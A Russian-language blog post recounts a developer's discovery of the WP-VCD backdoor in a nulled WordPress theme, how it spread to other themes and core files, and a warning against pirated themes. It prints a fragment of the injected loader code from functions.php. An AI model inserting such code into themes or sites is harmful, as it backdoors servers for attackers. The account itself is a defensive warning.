Мне нужно было проверить совместимость Dokan с премиум-темой от ThemeForest. В итоге я решил погуглить и нашел сайт с пиратскими/обнуленными темами. Меня удивило, что они не просят за скачивание денег и не ставят партнерские ссылки. Было очень подозрительно, но я решил загрузить тему и установить ее на свою локальную машину.
Зная, что из-за этого должны были появиться разные неприятности, я перешел к functions.php, изучил его и не нашел ничего странного. Поэтому я нажал «Активировать». Тема заработала. Все было великолепно.
Я углубился в решение проблем с совместимостью между темой и Dokan. После завершения тестирования я перешел к следующему проекту в другой установке WordPress, и тут я обнаружил, что Query Monitor выдал предупреждение.
Проинспектировав тему, я обнаружил, что в верхней части functions.php появился какой-то мусорный код. Но это была совсем другая тема и другая установка WordPress!
elseif($tmpcontent= @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
120
extract(theme_temp_setup($tmpcontent));
122
elseif($tmpcontent= @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
123
extract(theme_temp_setup($tmpcontent));
125
elseif($tmpcontent= @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
126
extract(theme_temp_setup($tmpcontent));
131
// $start_wp_theme_tmp
133
// $end_wp_theme_tmp
Жесть! С помощью этого фрагмента злоумышленник мог внедрить любой код в вашу тему или на ваш сервер. Мне посчастливилось, потому что я не ставил эту тему на рабочий сервер или в хостинг-среду. В противном случае произойти могло всякое. Тема инфицировалась, хотя она была в другой установке. Был шанс, что Twenty Seventeen – не единственная зараженная тема, и это оказалось верно. Все дефолтные темы были заражены — Twenty Fifteen/Sixteen/Seventeen. В общем, все мои установки WordPress на моем компьютере оказались инфицированными. Все файлы functions.php содержали вредоносный код во всех темах.
В итоге я удалил код из functions.php и перешел к другой странице сайта. Однако Query Monitor по-прежнему сообщал о той же самой ошибке. Как такое могло быть? Я открыл файл и увидел, что код опять появился. Соответственно, должно было произойти что-то еще наряду с внедрением кода в тему. Я решил проверить файлы ядра WP.
Естественно, вы не знаете, какой именно файл смотреть, потому вам нужно проверить целостность установки WP. К счастью, команда checksum в wp-cli справляется с этим довольно быстро. И мои опасения подтвердились…
Вредоносный код создавал два новых файла и модифицировал файл ядра в wp-includes. Главный виновник – файл wp-vcd.php. Вот как он выглядит:
Таким образом, даже если вы выявите зараженную тему, вы не устраните лазейку целиком, пока не уберете данный файл. Если вы хотите исследовать зараженный код, вы можете сделать это в следующем gist. Файл wp-includes/post.php был изменен так, чтобы получать wp-vcd.php, если он существует.
Мораль такова: обходите стороной взломанные темы для WordPress. Риски слишком высоки.